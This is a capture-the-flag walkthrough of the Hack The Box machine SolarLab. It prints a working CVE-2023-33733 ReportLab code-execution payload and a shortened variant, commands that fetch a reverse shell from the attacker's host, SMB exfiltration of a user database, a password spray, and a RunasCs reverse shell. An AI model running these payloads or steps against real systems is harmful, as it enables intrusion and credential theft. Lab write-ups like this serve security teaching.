HTB: SolarLab
SolarLab starts with an SMB share with a spreadsheet containing usernames and passwords. I’ll abuse a website that has different error messages for invalid user and wrong password, as well as analysis of the username format to find a username and password combination that works on the site. Inside, I’ll abuse CVE-2023-33733 in reportlab PDF generation to get RCE and a shell. For the lateral movement, I’ll show two ways to get to the openfire user. The first is to find the database and a password and use RunasCS to get execution. The other is to abuse CVE-2023-32315 in OpenFire to create an admin user, and then upload a malicious plugin to get RCE. From there, I’ll decrypt another password in the OpenFire configuration that is also the administrator password.
Box Info
Name | SolarLab Play on HackTheBox |
---|---|
Release Date | 11 May 2024 |
Retire Date | 21 Sep 2024 |
OS | Windows |
Base Points | Medium [30] |
Rated Difficulty | |
Radar Graph | |
00:24:32 |
|
01:08:12 |
|
Creator |
Recon
nmap
nmap
finds six open TCP ports, HTTP (80 and 6791), RPC (135), NetBios (139), SMB (445), and an unknown service on 7680:
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.16
Starting Nmap 7.80 ( https://nmap.org ) at 2024-05-17 14:54 EDT
Nmap scan report for 10.10.11.16
Host is up (0.094s latency).
Not shown: 65529 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
6791/tcp open hnm
7680/tcp open pando-pub
Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
oxdf@hacky$ nmap -p 80,135,139,445,6791,7680 -sCV 10.10.11.16
Starting Nmap 7.80 ( https://nmap.org ) at 2024-05-17 14:55 EDT
Nmap scan report for 10.10.11.16
Host is up (0.094s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
7680/tcp open pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-05-17T18:56:05
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.15 seconds
It’s a Windows box, but it’s running nginx on port 80 and port 6791. Both 80 and 6791 have redirects to solarlab.htb
and report.solarlab.htb
respectively. I’ll use ffuf
to brute force other possible subdomains on both, but not find anything. I’ll add these to my /etc/hosts
file:
10.10.11.16 solarlab.htb report.solarlab.htb
Website - TCP 80
Site
The website is for a company that makes an instant messaging program:
There’s a couple forms, but they don’t submit in a way that gives the impression that anything is happening with them.
Tech Stack / Directory Brute Force
The main page loads as index.html
, another sign that this may be a static website. The HTTP response headers don’t show anything interesting.
The 404 page is the default nginx page.
I’ll run feroxbuster
against the site, but it doesn’t find anything and then starts spitting tons of errors.
ReportHub - TCP 6791
Site
The site on TCP 6791 offers a login form and calls itself ReportHub:
I don’t have creds and basic injections don’t work. I will note the error message on a failed login:
This implies that if the user exists but the password is wrong, the message might be different. I am not able to guess and valid users, but I’ll come back to this once I have usernames to check.
Tech Stack
Nothing too different in the HTTP response headers here:
HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Fri, 17 May 2024 19:23:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2045
Connection: close
Vary: Cookie
The 404 page matches the default Flask 404 page:
Directory Brute Force
feroxbuster
works better here, finding a couple endpoints, but nothing that’s useful without authentication:
oxdf@hacky$ feroxbuster -u http://report.solarlab.htb:6791
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://report.solarlab.htb:6791
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle
off with --dont-filter
200 GET 85l 157w 2045c http://report.solarlab.htb:6791/
200 GET 85l 157w 2045c http://report.solarlab.htb:6791/login
302 GET 5l 22w 229c http://report.solarlab.htb:6791/logout => http://report.solarlab.htb:6
791/login?next=%2Flogout
302 GET 5l 22w 235c http://report.solarlab.htb:6791/dashboard => http://report.solarlab.ht
b:6791/login?next=%2Fdashboard
502 GET 7l 11w 157c http://report.solarlab.htb:6791/fence
502 GET 7l 11w 157c http://report.solarlab.htb:6791/fep
502 GET 7l 11w 157c http://report.solarlab.htb:6791/ferozo
...[snip]...
SMB - TCP 445
List Shares
netexec
is able to find the specific OS:
oxdf@hacky$ netexec smb solarlab.htb
SMB 10.10.11.16 445 SOLARLAB Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
With an empty guest password it will show the shares:
oxdf@hacky$ netexec smb solarlab.htb -u guest -p '' --shares
SMB 10.10.11.16 445 SOLARLAB Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\guest:
SMB 10.10.11.16 445 SOLARLAB Enumerated shares
SMB 10.10.11.16 445 SOLARLAB Share Permissions Remark
SMB 10.10.11.16 445 SOLARLAB ----- ----------- ------
SMB 10.10.11.16 445 SOLARLAB ADMIN$ Remote Admin
SMB 10.10.11.16 445 SOLARLAB C$ Default share
SMB 10.10.11.16 445 SOLARLAB Documents READ
SMB 10.10.11.16 445 SOLARLAB IPC$ READ Remote IPC
It shows that the guest account can connect to the Documents
share.
Documents
I’ll connect with smbclient
. It appears to be a user’s home directory:
oxdf@hacky$ smbclient //solarlab.htb/Documents -N
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Fri Apr 26 10:47:14 2024
.. DR 0 Fri Apr 26 10:47:14 2024
concepts D 0 Fri Apr 26 10:41:57 2024
desktop.ini AHS 278 Fri Nov 17 05:54:43 2023
details-file.xlsx A 12793 Fri Nov 17 07:27:21 2023
My Music DHSrn 0 Thu Nov 16 14:36:51 2023
My Pictures DHSrn 0 Thu Nov 16 14:36:51 2023
My Videos DHSrn 0 Thu Nov 16 14:36:51 2023
old_leave_request_form.docx A 37194 Fri Nov 17 05:35:57 2023
7779839 blocks of size 4096. 1874229 blocks available
There are two more files in concepts
:
smb: \concepts\> ls
. D 0 Fri Apr 26 10:41:57 2024
.. D 0 Fri Apr 26 10:41:57 2024
Training-Request-Form.docx A 161337 Fri Nov 17 05:46:57 2023
Travel-Request-Sample.docx A 30953 Fri Nov 17 05:36:54 2023
7779839 blocks of size 4096. 1874229 blocks available
I’ll get all the files.
Loot Evaluation
The two files from concepts
are just template documents downloaded from the internet. There’s no interesting data in them. The same is true for old_leave_request_form.docx
.
details-file.xlxs
has information about various users and accounts:
I’ll make note of the passwords especially.
Rid Cycle
I’ll use netexec
to enumerate user account names on the host with a RID cycle attack:
oxdf@hacky$ netexec smb 10.10.11.16 -u guest -p '' --rid-brute
SMB 10.10.11.16 445 SOLARLAB Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\guest:
SMB 10.10.11.16 445 SOLARLAB 500: SOLARLAB\Administrator (SidTypeUser)
SMB 10.10.11.16 445 SOLARLAB 501: SOLARLAB\Guest (SidTypeUser)
SMB 10.10.11.16 445 SOLARLAB 503: SOLARLAB\DefaultAccount (SidTypeUser)
SMB 10.10.11.16 445 SOLARLAB 504: SOLARLAB\WDAGUtilityAccount (SidTypeUser)
SMB 10.10.11.16 445 SOLARLAB 513: SOLARLAB\None (SidTypeGroup)
SMB 10.10.11.16 445 SOLARLAB 1000: SOLARLAB\blake (SidTypeUser)
SMB 10.10.11.16 445 SOLARLAB 1001: SOLARLAB\openfire (SidTypeUser)
There’s an openfire user, which suggests the box may be using Openfire. There’s also a user named blake, which lines up with the passwords in the sheet.
Auth Check
I’ll check each of the passwords in the Excel file against the usernames I have so far. One works for blake:
oxdf@hacky$ netexec smb 10.10.11.16 -u blake -p passwords --continue-on-success
SMB 10.10.11.16 445 SOLARLAB Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\blake:al;ksdhfewoiuh STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\blake:dkjafblkjadsfgl STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\blake:d398sadsknr390 STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\blake:ThisCanB3typedeasily1@
oxdf@hacky$ netexec smb 10.10.11.16 -u openfire -p passwords --continue-on-success
SMB 10.10.11.16 445 SOLARLAB Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\openfire:al;ksdhfewoiuh STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\openfire:dkjafblkjadsfgl STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\openfire:d398sadsknr390 STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\openfire:ThisCanB3typedeasily1@ STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\openfire:danenacia9234n STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\openfire:dadsfawe9dafkn STATUS_LOGON_FAILURE
Unfortunately, it doesn’t give any additional access beyond what I already have.
Shell as blake
ReportHub Login
Identify Users
With no luck on the server itself, I’ll focus on the website. I noted above that the error message seems like it will help enumerate usernames. I’ll create a username list from the spreadsheet and spray it against the site with ffuf
:
oxdf@hacky$ cat potential_user.txt
Alexander.knight@gmail.com
KAlexander
Alexander.knight
blake.byte
AlexanderK
ClaudiaS
oxdf@hacky$ ffuf -u 'http://report.solarlab.htb:6791/login' -d 'username=FUZZ&password=asd' -w potential_user.txt -H "Content-Type: application/x-www-form-urlencoded"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://report.solarlab.htb:6791/login
:: Wordlist : FUZZ: /home/oxdf/hackthebox/solarlab-10.10.11.16/potential_user.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=asd
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
Alexander.knight@gmail.com [Status: 200, Size: 2133, Words: 812, Lines: 87, Duration: 101ms]
AlexanderK [Status: 200, Size: 2144, Words: 812, Lines: 87, Duration: 106ms]
Alexander.knight [Status: 200, Size: 2133, Words: 812, Lines: 87, Duration: 112ms]
blake.byte [Status: 200, Size: 2133, Words: 812, Lines: 87, Duration: 112ms]
ClaudiaS [Status: 200, Size: 2144, Words: 812, Lines: 87, Duration: 113ms]
KAlexander [Status: 200, Size: 2133, Words: 812, Lines: 87, Duration: 113ms]
:: Progress: [6/6] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
I’ll note that the size for “AlexanderK” and “ClaudiaS” is 2144, whereas the others are 2133! ffuf
can filter (-fs 2133
) to make that more clear:
oxdf@hacky$ ffuf -u 'http://report.solarlab.htb:6791/login' -d 'username=FUZZ&password=asd' -w potential_user.txt -H "Content-Type: application/x-www-form-urlencoded" -fs 2133
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://report.solarlab.htb:6791/login
:: Wordlist : FUZZ: /home/oxdf/hackthebox/solarlab-10.10.11.16/potential_user.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=asd
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2133
________________________________________________
AlexanderK [Status: 200, Size: 2144, Words: 812, Lines: 87, Duration: 109ms]
ClaudiaS [Status: 200, Size: 2144, Words: 812, Lines: 87, Duration: 110ms]
:: Progress: [6/6] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
If I try one of these, the error message is different:
There’s also a blake.byte user that doesn’t exist. It’s worth checking that name in the naming style of first name plus last initial. It does exist.
Password Spray
I’ll create a file with the valid usernames, and grab the passwords from the sheet and create a list of possible passwords. I’ll use ffuf
again, this time with:
-fs 2144
to hide “User authentication error” response.- Both wordlists. In
ffuf
, adding:[STRING]
after a wordlist tellsffuf
to use that string instead ofFUZZ
as the replacement target.
It finds one valid set of creds:
oxdf@hacky$ ffuf -u 'http://report.solarlab.htb:6791/login' -d 'username=USER&password=PASS' -w report_users.txt:USER -w possible_passwords.txt:PASS -H "Content-Type: application/x-www-form-urlencoded" -fs 2144
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://report.solarlab.htb:6791/login
:: Wordlist : USER: report_users.txt
:: Wordlist : PASS: possible_passwords.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=USER&password=PASS
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2144
________________________________________________
[Status: 302, Size: 207, Words: 18, Lines: 6, Duration: 152ms]
* PASS: ThisCanB3typedeasily1@
* USER: blakeb
:: Progress: [18/18] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
I’m able to log in as blakeb.
Authed ReportHub Enumeration
Logged in, the page offers a few features:
The “Leave Request” button goes to a form:
Clicking “Generate PDF” leads to a PDF:
It’s always good to see what kind of metadata ends up in a PDF generated by a website:
oxdf@hacky$ exiftool output.pdf
ExifTool Version Number : 12.40
File Name : output.pdf
Directory : .
File Size : 202 KiB
File Modification Date/Time : 2024:05:17 15:54:21-04:00
File Access Date/Time : 2024:05:17 15:54:22-04:00
File Inode Change Date/Time : 2024:05:17 15:54:21-04:00
File Permissions : -rwxrwx---
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Author : (anonymous)
Create Date : 2024:05:17 22:53:02-02:00
Creator : (unspecified)
Modify Date : 2024:05:17 22:53:02-02:00
Producer : ReportLab PDF Library - www.reportlab.com
Subject : (unspecified)
Title : (anonymous)
Trapped : False
Page Mode : UseNone
Page Count : 1
The library used to make it is ReportLab.
The other three request are almost exactly the same. For example:
They each generate a similar PDF.
CVE-2023-33733
Identify
Searching for “reportlab exploit” turns up information about CVE-2023-33733, a remote code execution vulnerability in ReportLab:
POC
There’s a POC in the second link that shows Python code to exploit the reportlab
library:
from reportlab.platypus import SimpleDocTemplate, Paragraph
from io import BytesIO
stream_file = BytesIO()
content = []
def add_paragraph(text, content):
""" Add paragraph to document content"""
content.append(Paragraph(text))
def get_document_template(stream_file: BytesIO):
""" Get SimpleDocTemplate """
return SimpleDocTemplate(stream_file)
def build_document(document, content, **props):
""" Build pdf document based on elements added in `content`"""
document.build(content, **props)
doc = get_document_template(stream_file)
#
# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR
#[
# [
# getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
# for Word in [
# orgTypeFun(
# 'Word',
# (str,),
# {
# 'mutated': 1,
# 'startswith': lambda self, x: False,
# '__eq__': lambda self, x: self.mutate()
# and self.mutated < 0
# and str(self) == x,
# 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
# '__hash__': lambda self: hash(str(self)),
# },
# )
# ]
# ]
# for orgTypeFun in [type(type(1))]
#]
add_paragraph("""
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>""", content)
build_document(doc, content)
Most of that is setting it up, the exploit itself this HTML that’s passed to the library:
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
Character Limitations
The POC there is over 750 characters long. If I just to paste it into the form, it truncates:
I’ll submit with a short payload and send the request to Burp Repeater. There I replace the short request with the payload, but it doesn’t return a PDF, but rather the form with an error message:
This limit seems to apply to all the “Justification” fields.
RCE
Two Methods
There are two methods from here I know of to get RCE:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[<a href="#reporthub-login">Access to\nReport Site</a>]-->B(<a href='#other-fields'>Other Fields</a>);
B-->C[Shell as blake];
A-->D(<a href='#shrink-payload'>Shrink Payload</a>);
D-->C;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
Other Fields
When I send the request to repeater, I’ll leave the user_input
fields at the bottom the same, but instead replace “Cybersecurity Awareness” with the payload, and update it to run ping -n 1 10.10.14.6
:
When I send this, the server responds with an HTTP 500 Internal Service Error, but there’s also an ICMP echo request at my listening tcpdump
:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:24:02.578332 IP 10.10.11.16 > 10.10.14.6: ICMP echo request, id 1, seq 10, length 40
16:24:02.578347 IP 10.10.14.6 > 10.10.11.16: ICMP echo reply, id 1, seq 10, length 40
This works for the phone number in the leave request, the training type in the training request, the address in the home office request, and the destination in the travel approval request.
With this method, I can use a long payload, like a PowerShell reverse shell from revshells.com:
On sending, I get a shell:
oxdf@hacky$ sudo rlwrap -cAr nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.16 63912
PS C:\Users\blake\Documents\app>
I can grab user.txt
:
PS C:\Users\blake\desktop> type user.txt
ed253e03************************
Shrink Payload
The author’s intended path was to shrink the payload. Starting with this:
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('ping 10.10.14.6') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
I will:
- remove the whitespace, especially after commas and colons;
- remove the
<para>
tags; - replace “exploit” with “e” and “red” with “r”;
- replace
False
with0
; - rename variables like
Word
asw
andorgTypeFun
aso
; - remove “and ‘r’” entirely;
mutated
andmutate
are also defined here and can be shrunk tom
andM
respectively.
All of these changes gets the payload down to something like:
<font color="[[getattr(pow,W('__globals__'))['os'].system('ping 10.10.14.6')for W in [o('W',(str,),{'m':1,'startswith':lambda s,x:0,'__eq__':lambda s,x:s.M() and s.m<0 and str(s)==x, 'M':lambda s:{setattr(s,'m',s.m-1)},'__hash__':lambda s:hash(str(s))})]] for o in [type(type(1))]]">e</font>
When I paste this into user_input
in Burp, the server returns a 500 error:
But, there’s ICMP at my listening tcpdump
:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
13:49:39.639480 IP 10.10.11.16 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 40
13:49:39.639488 IP 10.10.14.6 > 10.10.11.16: ICMP echo reply, id 1, seq 1, length 40
13:49:40.647740 IP 10.10.11.16 > 10.10.14.6: ICMP echo request, id 1, seq 2, length 40
13:49:40.647756 IP 10.10.14.6 > 10.10.11.16: ICMP echo reply, id 1, seq 2, length 40
13:49:41.653266 IP 10.10.11.16 > 10.10.14.6: ICMP echo request, id 1, seq 3, length 40
13:49:41.653283 IP 10.10.14.6 > 10.10.11.16: ICMP echo reply, id 1, seq 3, length 40
13:49:42.660647 IP 10.10.11.16 > 10.10.14.6: ICMP echo request, id 1, seq 4, length 40
13:49:42.660668 IP 10.10.14.6 > 10.10.11.16: ICMP echo reply, id 1, seq 4, length 40
I can replace ping 10.10.14.6
with curl 10.10.14.6/s -o s
to get a file and that works as well, which is enough to get a shell. I can grab a shell from revshells.com and save it in a file, uploading that file and then executing it in two successive commands.
Alternative Paths to openfire
There are two paths to get a shell as the openfire user:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Shell as blake]-->B(<a href='#enumeration'>Find\nOpenfire DB</a>);
B-->G(<a href="#runascs">RunasCs\nwith Creds</a>);
G-->C[Shell as openfire];
A-->E(<a href="#create-admin-user">CVE-2023-32315</a>);
E-->D[OpenFire\nWeb Access];
D-->F(<a href="#openfile-plugin-rce">Malicious\nOpenFire Plugin</a>);
F-->C;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3,4 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
I originally found the creds for the OpenFire user, while the author intended for me to exploit CVE-2023-32315 and write a plugin. I’ll show both.
Shell as openfire via Creds
Enumeration
OpenFire
As suspected, Openfire is installed on the host:
PS C:\Program Files> ls
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/16/2023 9:39 PM Common Files
d----- 4/26/2024 4:39 PM Internet Explorer
d----- 11/17/2023 10:04 AM Java
d----- 11/16/2023 9:47 PM Microsoft Update Health Tools
d----- 12/7/2019 11:14 AM ModifiableWindowsApps
d----- 11/17/2023 2:22 PM Openfire
d----- 4/26/2024 2:38 PM RUXIM
d----- 5/3/2024 2:34 PM VMware
d----- 11/16/2023 11:12 PM Windows Defender
d----- 4/26/2024 4:39 PM Windows Defender Advanced Threat Protection
d----- 11/16/2023 10:11 PM Windows Mail
d----- 11/16/2023 10:11 PM Windows Media Player
d----- 4/26/2024 4:39 PM Windows Multimedia Platform
d----- 12/7/2019 11:50 AM Windows NT
d----- 11/16/2023 10:11 PM Windows Photo Viewer
d----- 4/26/2024 4:39 PM Windows Portable Devices
d----- 12/7/2019 11:31 AM Windows Security
d----- 12/7/2019 11:31 AM WindowsPowerShell
As blake, I’m not able to access it.
Application
The shell as blake lands in the C:\Users\blake\Documents\app
directory. This is where the code for the Report Hub application lives.
PS C:\Users\blake\Documents\app> ls
Directory: C:\Users\blake\Documents\app
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/2/2024 12:30 PM instance
d----- 5/17/2024 11:16 PM reports
d----- 11/17/2023 10:01 AM static
d----- 11/17/2023 10:01 AM templates
d----- 5/17/2024 11:44 PM __pycache__
-a---- 11/17/2023 9:59 AM 1278 app.py
-a---- 11/16/2023 2:17 PM 315 models.py
-a---- 11/18/2023 6:59 PM 7790 routes.py
-a---- 5/2/2024 6:26 PM 3352 utils.py
At the top of app.py
, there’s a reference to a SQLite database:
# app.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
import os
app = Flask(__name__)
app.secret_key = os.urandom(64)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'c:\\users\\blake\\documents\\app\\reports'
login_manager = LoginManager(app)
login_manager.login_view = 'login'
# Import other modules with routes and configurations
from routes import *
from models import User, db
from utils import create_database
db.init_app(app)
with app.app_context():
create_database()
# Initialize Flask-Login
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
app.route('/')(index)
app.route('/login', methods=['GET', 'POST'])(login)
app.route('/logout')(logout)
app.route('/dashboard')(dashboard)
app.route('/leaveRequest', methods=['GET', 'POST'])(leaveRequest)
app.route('/trainingRequest', methods=['GET', 'POST'])(trainingRequest)
app.route('/homeOfficeRequest', methods=['GET', 'POST'])(homeOfficeRequest)
app.route('/travelApprovalForm', methods=['GET', 'POST'])(travelApprovalForm)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True, threaded=True)
I’ll find it in the instance
directory:
PS C:\Users\blake\Documents\app\instance> ls
Directory: C:\Users\blake\Documents\app\instance
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/2/2024 12:30 PM 12288 users.db
Database
I’ll start an SMB server and exfil the DB:
PS C:\Users\blake\Documents\app\instance> net use \\10.10.14.6\share /u:oxdf oxdf
The command completed successfully.
PS C:\Users\blake\Documents\app\instance> copy users.db \\10.10.14.6\share\
On my host, I’ll open it. There’s only one table:
oxdf@hacky$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
user
It has three users with plaintext passwords, two of which are new to me:
sqlite> select * from user;
id|username|password
1|blakeb|ThisCanB3typedeasily1@
2|claudias|007poiuytrewq
3|alexanderk|HotP!fireguard
The second one works for the openfire user:
oxdf@hacky$ netexec smb solarlab.htb -u openfire -p 'HotP!fireguard'
SMB 10.10.11.16 445 SOLARLAB Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\openfire:HotP!fireguard
RunasCs
I’ll use the RunasCs tool to get a reverse shell as openfire. I’ll use my SMB share to copy it into ProgramData
for staging:
PS C:\programdata> copy \\10.10.14.6\share\RunasCs.exe r.exe
Now I’ll run it:
PS C:\programdata> .\r.exe openfire 'HotP!fireguard' powershell -r 10.10.14.6:444 --logon-type 5 --bypass-uac
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-77180$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 2296 created in background.
At nc
, I get a shell:
oxdf@hacky$ rlwrap -cAr nc -lnvp 444
Listening on 0.0.0.0 444
Connection received on 10.10.11.16 63923
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> whoami
solarlab\openfire
Shell as openfire via CVE + Plugin
Enumeration
I’ve already noticed there’s an OpenFire account. There’s also processes in the tasklist
output:
PS C:\> tasklist | findstr -i openfire
openfire-service.exe 2928 0 4,936 K
openfire-service.exe 3084 0 179,956 K
The second of those processes has a bunch of listening ports only on localhost:
PS C:\> netstat -ano | findstr 3084 | findstr LISTENING
TCP 127.0.0.1:5222 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:5223 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:5262 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:5263 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:5269 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:5270 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:5275 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:5276 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:7070 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:7443 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:9091 0.0.0.0:0 LISTENING 3084
This post shows how to get the OpenFire version using command line web requests:
